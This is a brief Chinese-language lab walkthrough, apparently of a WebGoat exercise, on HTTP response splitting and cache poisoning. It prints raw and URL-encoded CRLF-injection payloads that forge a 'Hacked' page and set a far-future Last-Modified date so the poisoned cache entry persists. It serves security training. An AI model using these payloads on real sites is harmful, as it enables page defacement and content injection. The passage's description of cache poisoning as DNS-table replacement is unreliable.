Http respone splitting主要分为:

第一步:Http splitting

输入教程里面的数据

foobar

Content-Length: 0

HTTP/1.1 200 OK

Content-Type: text/html

Content-Length: 47

<html>Hacked J</html>

webscard的transcorder转换后的URL encode:

foobar%0D%0AContent-Length%3A+0%0D%0A%0D%0AHTTP%2F1.1+200+OK%0D%0AContent-Type%3A+text%2Fhtml%0D%0AContent-Length%3A+47%0D%0A%0D%0A%3Chtml%3EHacked+J%3C%2Fhtml%3E

将代码输入

clip_p_w_picpath001

那个方框里面

第一个request包。

clip_p_w_picpath003

截取第一个respone包

clip_p_w_picpath005

302是重定向的标识

302跳转的 Location 地址用户可以控制

我们设计的

foobar

Content-Length: 0

实际上就是分割了http response 包的包头, %0d%0a 是换行,从而插入了我们自己的数据。

使我们的的数据被解释为新的200包,并被缓存了。

clip_p_w_picpath007

clip_p_w_picpath009

第二步:Cache Poisoning;

Cache Poisoning 是缓存投毒,利用虚假internet地址替换掉域名系统表中的地址,进而制造破坏。。

接下来输入第二个代码

foobar

Content-Length: 0

HTTP/1.1 200 OK

Content-Type: text/html

Last-Modified: Mon, 27 Oct 2099 14:50:18 GMT

Content-Length: 47

<html>Hacked J</html>

foobar%0D%0AContent-Length%3A+0%0D%0A%0D%0AHTTP%2F1.1+200+OK%0D%0AContent-Type%3A+text%2Fhtml%0D%0ALast-Modified%3A+Mon%2C+27+Oct+2099+14%3A50%3A18+GMT%0D%0AContent-Length%3A+47%0D%0A%0D%0A%3Chtml%3EHacked+J%3C%2Fhtml%3E%0A%0A+

把Last-Modified的时间修改为一个未来的时间,使其不会过期

clip_p_w_picpath010 clip_p_w_picpath012

成功后的截图:

clip_p_w_picpath014